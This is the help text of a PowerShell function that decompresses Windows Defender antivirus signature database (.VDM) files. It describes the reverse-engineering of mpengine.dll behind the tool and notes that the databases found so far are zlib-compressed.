.SYNOPSIS

Decompresses a Windows Defender AV signature database (.VDM file).

.DESCRIPTION

Expand-DefenderAVSignatureDB extracts a Windows Defender AV signature database (.VDM file). This function was developed by reversing mpengine.dll and with the help of Tavis Ormandy and his LoadLibrary project (https://github.com/taviso/loadlibrary). Note: Currently, "scrambled" databases are not supported although, I have yet to encounter a scrambled database. Thus far, all databases I've encountered are zlib-compressed.
